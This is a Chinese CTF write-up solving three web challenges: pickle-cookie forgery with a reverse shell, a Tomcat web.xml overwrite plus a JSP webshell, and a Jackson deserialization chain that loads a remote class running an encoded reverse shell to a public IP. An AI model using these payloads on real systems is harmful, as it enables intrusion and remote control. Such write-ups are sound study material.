Lyrics For You
读/lyrics?lyrics=/proc/1/cmdline
得到su-cexec python3 -u /usr/etc/app/app.pyplayer
,访问/lyrics?lyrics=/usr/etc/app/app.py
得到源码
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
/lyrics?lyrics=/usr/etc/app/config/secret_key.py
secret_code = "EnjoyThePlayTime123456"
/lyrics?lyrics=/usr/etc/app/cookie.py
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str
# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
很明显在源码app.py中
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
可以打pickle反序列化,过滤了R就用i指令,过滤了eval就用system,加密逻辑直接用cookie.py中的就行,弹个shell,payload
data = (
"user", '''(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
ios
system
.'''.encode()
)
value = touni(cookie_encode(data,"EnjoyThePlayTime123456"))
最后/board
路由对Cookie的user传值即可
tomtom2
首先进入页面
可以查看我们的环境变量,读取文件,登录,那登录自然是需要账号密码的,而tomcat中
该目录主要是用来存放tomcat的一些配置文件。
重要提示:
server.xml可以设置端口号、设置域名或IP、默认加载的项目、请求编码;
web.xml可以设置tomcat支持的文件类型;
context.xml可以用来配置数据源之类的信息;
tomcat-users.xml用来配置管理tomcat的用户与权限;
在catalina目录下可以设置默认加载的项目。
所以选择读取tomcat-users.xml来获取账号密码
登录成功后可以上传文件
发现只能上传xml文件,但是打tomcat只能上传xml文件的话,不能上传jsp文件根本打不了,这里想到是否可以去覆盖我们的web.xml
就像php文件上传去上传配置文件将jpg解析为php一样的效果
但是还有一个问题,就是我们的文件上传到哪里了?
发现有一个path参数决定上传的目录
也是能够成功访问到了,我们试着目录穿越去覆盖我们的web.xml文件
POST /myapp/upload?path=../../../../../../opt/tomcat/conf HTTP/1.1
Host: 139.155.126.78:39463
Content-Length: 900
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:39463
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjftvCbAe6YLSIqPQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:39463/myapp/upload.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=FF4B7A44C93C15DDDF7F26FEF1E48951; JSESSIONID=3C44B61A9E86D6CF50A07EB7299BD5EC
Connection: keep-alive
------WebKitFormBoundaryjftvCbAe6YLSIqPQ
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>
</web-app>
------WebKitFormBoundaryjftvCbAe6YLSIqPQ--
然后上传一个jsp的一句话木马
POST /myapp/upload?path=uploads HTTP/1.1
Host: 139.155.126.78:39463
Content-Length: 553
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.155.126.78:39463
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFNdI52OY8Z6Ms0FP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:39463/myapp/upload.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=FF4B7A44C93C15DDDF7F26FEF1E48951; JSESSIONID=3C44B61A9E86D6CF50A07EB7299BD5EC
Connection: keep-alive
------WebKitFormBoundaryFNdI52OY8Z6Ms0FP
Content-Disposition: form-data; name="file"; filename="lll.xml"
Content-Type: text/xml
<%
if("111".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
------WebKitFormBoundaryFNdI52OY8Z6Ms0FP--
然后执行命令就好了
2024 羊城杯 ez_java
重要源码
user.php
package ycbjava.bean;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
/* loaded from: User.class */
public class User implements Serializable {
public String username;
public String password;
public String gift;
public User() {
this.username = "admin";
this.password = "admin888";
}
public String getGift() {
String gift = this.username.trim().toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
gift = "nonono";
}
try {
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
} catch (Exception e) {
e.printStackTrace();
}
return gift;
}
public void setGift(String gift) {
this.gift = gift;
}
public User(String username, String password) {
this.username = "admin";
this.password = "admin888";
this.username = username;
this.password = password;
}
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return this.password;
}
public void setPassword(String password) {
this.password = password;
}
}
主要是账号密码和getGift方法可以通过给urlclassloader加载远程路径
MyObjectInputStream.java
package ycbjava.utils;
import java.io.*;
/* loaded from: MyObjectInputStream.class */
public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = {"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};
public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] var3 = blacklist;
for (String forbiddenPackage : var3) {
if (className.startsWith(forbiddenPackage)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
主要是waf,把我们的命令执行类和远程加载字节码类,二次反序列化类都给禁用了
我们的路由
package ycbjava.controler;
import ycbjava.utils.MyObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
@Controller
/* loaded from: UserControler.class */
public class UserControler {
@RequestMapping({"/user/index"})
public String index() {
return "index";
}
@PostMapping({"/user/ser"})
@ResponseBody
public String ser(@RequestParam("ser") String ser) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(ser);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}
@PostMapping({"/user/upload"})
@ResponseBody
public String handleFileUpload(MultipartFile file) {
if (file.isEmpty()) {
return "File upload failed";
}
try {
String fileName = file.getOriginalFilename();
int index = fileName.lastIndexOf(".");
if (fileName.contains("../") || fileName.contains("..\\")) {
return "File upload failed";
}
String suffix = fileName.substring(index);
if (suffix.equals(".jsp")) {
return "File upload failed";
}
byte[] bytes = file.getBytes();
Path path = Paths.get("/templates/" + fileName, new String[0]);
Files.write(path, bytes, new OpenOption[0]);
return "File upload success";
} catch (Exception e) {
e.printStackTrace();
return "File upload failed";
}
}
}
可以上传文件,还可以去反序列化
依赖
思路一
一开始是相当是上传html文件,去打thymeleaf模板注入
但是高版本需要绕过,怎么绕过也是学过了
如下
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>
<tr
th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
<td>
<a
th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
>
<a
th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
>
<a
th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
}"
th:href="${param2}"
></a>
</a>
</a>
</td>
</tr>
</body>
</html>
然后发现如果上传同名文件,可以替换文件,页面又会用html渲染,所以思路就是替换同名文件,然后去渲染之后
但是发现一个问题,spring是启动后就不会再去渲染你的html了,即使是覆盖了,html也是启动的时候早就加载好的了
思路二
从user.java入手打反序列化,我们如果能够触发getter方法,那么就可以去把远程path加载进去
之后就可以懒加载我们的类了
如何触发getter方法呢?
首先cc,cb大不了,只能打jackson的原生反序列化,触发同string的javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString
被禁用了,那我们就需要找其他的触发Tostring的方法
这里一开始是使用的alyctf的那个触发tostring的链子
但是发现传入数据的时候要报错,而且自己也是解决不了,奇怪的是直接传入数据就没有问题,但是如果是通过参数传入数据就要报错
所以最后选择了
https://www.aiwin.fun/index.php/archives/4420/
链子
然后就是还需要绕过我们的
public String getGift() {
String gift = this.username.trim().toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
即使触发了getter,还需要绕过http,file
当时第一想法是使用rmi://。。。但是跟踪代码后不行,然后跟踪代码发现了
我后面认证我的协议的时候如果前面是url:,那么起始位置就加四个,然后我就通过url:http://。。。。这样去绕过
paylaod如下
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import ycbjava.bean.User;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonHashMap {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
User user=new User("url:http://49.232.222.195:8000","admin888");
POJONode pojoNode = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"111");
map2.put(pojoNode,"222");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
HashMap hashMap = new HashMap();
hashMap.put(map1,"1");
hashMap.put(map2,"1");
setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
setHashMapValueToNull(map2, pojoNode);
byte[] result=serialize(hashMap);
System.out.println(serializeToBase64(hashMap));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static String serializeToBase64(Object object) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(object);
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void setHashMapValueToNull(Map map, Object key) throws Exception {
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object node : table) {
if (node == null) continue;
Class<?> nodeClass = node.getClass();
Field keyField = nodeClass.getDeclaredField("key");
keyField.setAccessible(true);
Object k = keyField.get(node);
if (k != null && k.equals(key)) {
Field valueField = nodeClass.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(node, null);
break;
}
}
}
}
然后第一次反序列化去把我们的class的路径加入进去
然后打两次反序列化
第二次就是我们类的序列化代码
恶意类,注意需要继承Serializable
import ycbjava.bean.User;
import java.io.*;
public class exp implements Serializable {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjIyLjE5NS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class FileToBase64 {
public static void main(String[] args) {
// test test = new test();
// String base64Encoded = serializeToBase64(test);
exp exp=new exp();
String base64Encoded = serializeToBase64(exp);
System.out.println(base64Encoded);
}
public static String serializeToBase64(Object object) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(object);
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
分别把两次的序列化数据传进去,在这之前你需要在你的公网服务器上放上这个class文件
第一次的时候把path添加进去,第二次就是反序列化这个类的话,url是懒加载,就会去加载这个class了
加载到你的类的时候就会弹出计算器
注意机会只有一次,因为如果加载过了,那么就不会再次去加载了
方法二 利用jar协议
首先我们去学习一下jar协议
Jar URL格式
jar:<url>!/{entry} 如:jar:http://www.example.com/ex.jar!/com/demo/Class.class1
*Jar URL作用**
Jar包中资源文件的路径表示
相当于你可以访问jar里面的class
那其实思路就是自己构建一个jar包,里面有我们的恶意类,然后放在公网服务器上,通过jar协议添加path
POC
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import ycbjava.bean.User;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonHashMap {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
User user=new User("jar:http://49.232.222.195:8000/exp.jar!/","admin");
POJONode pojoNode = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"111");
map2.put(pojoNode,"222");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
HashMap hashMap = new HashMap();
hashMap.put(map1,"1");
hashMap.put(map2,"1");
setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
setHashMapValueToNull(map2, pojoNode);
byte[] result=serialize(hashMap);
System.out.println(serializeToBase64(hashMap));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static String serializeToBase64(Object object) {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(object);
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void setHashMapValueToNull(Map map, Object key) throws Exception {
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object node : table) {
if (node == null) continue;
Class<?> nodeClass = node.getClass();
Field keyField = nodeClass.getDeclaredField("key");
keyField.setAccessible(true);
Object k = keyField.get(node);
if (k != null && k.equals(key)) {
Field valueField = nodeClass.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(node, null);
break;
}
}
}
}
然后一样的了,去输入class的序列化流